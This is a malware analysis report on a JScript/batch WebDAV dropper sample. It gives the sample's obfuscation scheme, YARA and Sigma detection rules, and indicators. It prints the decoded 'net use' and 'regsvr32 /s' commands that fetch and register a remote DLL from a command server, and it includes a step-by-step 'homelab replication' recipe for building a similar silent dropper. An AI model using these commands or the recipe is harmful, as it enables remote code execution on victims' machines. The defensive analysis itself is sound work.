unclassified-js-webdav-dropper: 365235cd — shared-prefix ygfrlo dialect, payload 63.dll

Executive Summary

Fifty-sixth confirmed sibling of the JScript/batch WebDAV dropper family. Uses the shared-prefix ygfrlo dictionary-lookup obfuscation dialect (same prefix as the first sibling da58243c) but with a unique payload (63.dll) against the 45.9.74.36:8888 infrastructure. No PowerShell wrapper, no wordpad decoy, no sandbox gate — minimal footprint.

What It Is

• Filename: 14655313952528229878.js ^[triage.json]
• Size: 5.9 KB (5,896 bytes) ^[file.txt]
• Format: JScript/batch polyglot — batch comment block (/* ... */) wrapping JScript dictionary-lookup engine ^[strings.txt]
• Family: unclassified-js-webdav-dropper (56th confirmed sibling)
• Obfuscation dialect: Shared-prefix dictionary lookup (ygfrlo, 62 entries) — same prefix as da58243c but distinct payload filename and no self-replication logic.

How It Works

The file is a dual-syntax polyglot. The leading block is a batch comment (/* ygfrlo ... */) that contains 62 SET variable assignments. When opened by wscript.exe, the batch comment is ignored and the JScript engine executes the trailing code.

JScript execution chain:

1. Build a 62-entry character lookup table in object ygfrlo (e.g. ygfrlo['nveclw']='g'). ^[strings.txt:67]
2. try { ygfrlo(); } catch(e) { ... } — the try fails (array is not callable), falling into the catch block.
3. In the catch: Function('return WScript.Shell')()['WScript']['CreateObject']('cmd /c "net use \\45.9.74.36@8888\DavWWWRoot\ ... "')['Run'](..., 0, false)

Decoded payload command:

net use \\45.9.74.36@8888\DavWWWRoot\WoolRoot\
regsvr32 /s \\45.9.74.36@8888\DavWWWRoot\WoolRoot\63.dll

Infrastructure:

• C2: 45.9.74.36:8888 ^[strings.txt:64-65]
• UNC mount path: \\45.9.74.36@8888\DavWWWRoot\WoolRoot\ ^[decoded from JS]
• Payload: 63.dll ^[decoded from JS]
• No PowerShell wrapper, no wordpad decoy, no sandbox gate, no nested try/catch decoys.

Decompiled Behavior

Not applicable — this is a plaintext JScript file. Static string extraction yields the full execution chain. No native binary surface for Ghidra/radare2 analysis.

C2 Infrastructure

Interesting Tidbits

• Same prefix, new payload. The shared prefix ygfrlo was first observed in sibling da58243c (payload 67.dll, C2 45.9.74.13:8888). This sample reuses the exact same prefix and dictionary structure but targets a different C2 IP and payload filename. ^[/intel/analyses/da58243c46d0bf1d3d12b48198587fc972cda5589c5039ec6e1ff27a8c0b72b8.html]
• Minimal footprint. At 5.9 KB and 67 lines, this is among the smallest siblings in the family. No padding, no decoys, no secondary execution layers.
• No self-replication. Unlike da58243c and 6f1d7c74, this sample does not copy itself to %userprofile% or stage a .bat file.
• Batch comment as polyglot bridge. The /* ... */ syntax is valid in both batch (treated as a label/start-of-comment) and JScript (multi-line comment), enabling dual-execution without conditional logic.

How To Mess With It (Homelab Replication)

Toolchain: Any text editor + Windows Script Host.

Recipe:

1. Create a JScript file with a leading batch comment block containing SET variable assignments.
2. Map each variable to a single character (e.g. set ygfrloa=b).
3. In the JScript section, build a dictionary object with the same mappings.
4. Use Function('return WScript.Shell')() to obtain the WScript.Shell COM object.
5. Call .CreateObject('WScript.Shell').Run('cmd /c net use ... && regsvr32 /s ...', 0, false) to execute silently (window hidden, no wait).

Verification: Save as test.js and open with wscript.exe. Monitor with ProcMon for wscript.exe → cmd.exe → regsvr32.exe process chain.

Deployable Signatures

YARA Rule

rule js_webdav_dropper_ygfrlo
{
    meta:
        description = "JScript WebDAV dropper with shared-prefix ygfrlo dictionary obfuscation"
        author = "triage"
        reference = "365235cd0c4aa88ab997f00505992c62030534f775b497a0560e26df6c1c008a"
        date = "2026-07-12"
    strings:
        $prefix1 = "set ygfrlo" ascii wide nocase
        $prefix2 = "ygfrlo['" ascii wide
        $dict1 = "ygfrlo['nveclw']='g'" ascii wide
        $dict2 = "ygfrlo['hixvrh']='I'" ascii wide
        $webdav = "DavWWWRoot" ascii wide
        $regsvr = "regsvr32" ascii wide nocase
        $netuse = "net use" ascii wide nocase
    condition:
        filesize < 15KB and
        ($prefix1 or $prefix2) and
        ($dict1 or $dict2) and
        $webdav and
        ($regsvr or $netuse)
}

Sigma Rule

title: JScript WebDAV Dropper Execution - ygfrlo Dialect
status: experimental
description: Detects WScript execution of JScript files containing ygfrlo dictionary obfuscation followed by WebDAV DLL registration
logsource:
    category: process_creation
    product: windows
detection:
    selection_wscript:
        Image|endswith: '\\wscript.exe'
        CommandLine|contains: '.js'
    selection_child:
        ParentImage|endswith: '\\wscript.exe'
        Image|endswith: '\\cmd.exe'
    selection_regsvr:
        CommandLine|contains|all:
            - 'regsvr32'
            - 'DavWWWRoot'
    condition: selection_wscript and selection_child and selection_regsvr
falsepositives:
    - Unknown
level: high

IOC List

Behavioral Fingerprint

This JScript file builds a 62-entry character lookup dictionary with the shared prefix ygfrlo, then uses Function('return WScript.Shell')()['WScript']['CreateObject']('cmd /c "net use \\45.9.74.36@8888\DavWWWRoot\WoolRoot\ && regsvr32 /s \\45.9.74.36@8888\DavWWWRoot\WoolRoot\63.dll"')['Run'](..., 0, false) to silently mount a WebDAV share and register a remote DLL. The execution window is hidden (0), and the script does not wait for completion (false). No PowerShell wrapper, no decoy, no sandbox gate.

Detection Signatures

• T1059.005 — Visual Basic / JScript execution via wscript.exe ^[strings.txt]
• T1059.003 — Windows Command Shell via cmd /c ^[decoded from JS]
• T1218.010 — Regsvr32 proxy execution of remote DLL ^[decoded from JS]
• T1071.001 — WebDAV over HTTP for payload fetch ^[decoded from JS]
• T1105 — Ingress tool transfer via WebDAV UNC mount ^[decoded from JS]
• T1027 — Obfuscated files (dictionary lookup-table obfuscation) ^[strings.txt]

References

• SHA-256: 365235cd0c4aa88ab997f00505992c62030534f775b497a0560e26df6c1c008a
• Family entity: unclassified-js-webdav-dropper
• Technique: webdav-regsvr32-dll-sideloading
• Technique: js-dictionary-char-lookup-obfuscation
• First sibling (da58243c): same ygfrlo prefix, different C2/payload. ^[/intel/analyses/da58243c46d0bf1d3d12b48198587fc972cda5589c5039ec6e1ff27a8c0b72b8.html]

Provenance

• File identification: file 12.76 ^[file.txt]
• String extraction: strings ^[strings.txt]
• Fuzzy hash: ssdeep ^[ssdeep.txt]
• Locality-sensitive hash: tlsh ^[tlsh.txt]
• CAPE: skipped (JScript, not a binary) ^[dynamic-analysis.md]
• Deobfuscation: manual Python script evaluating ygfrlo dictionary lookups and Function() constructor chain.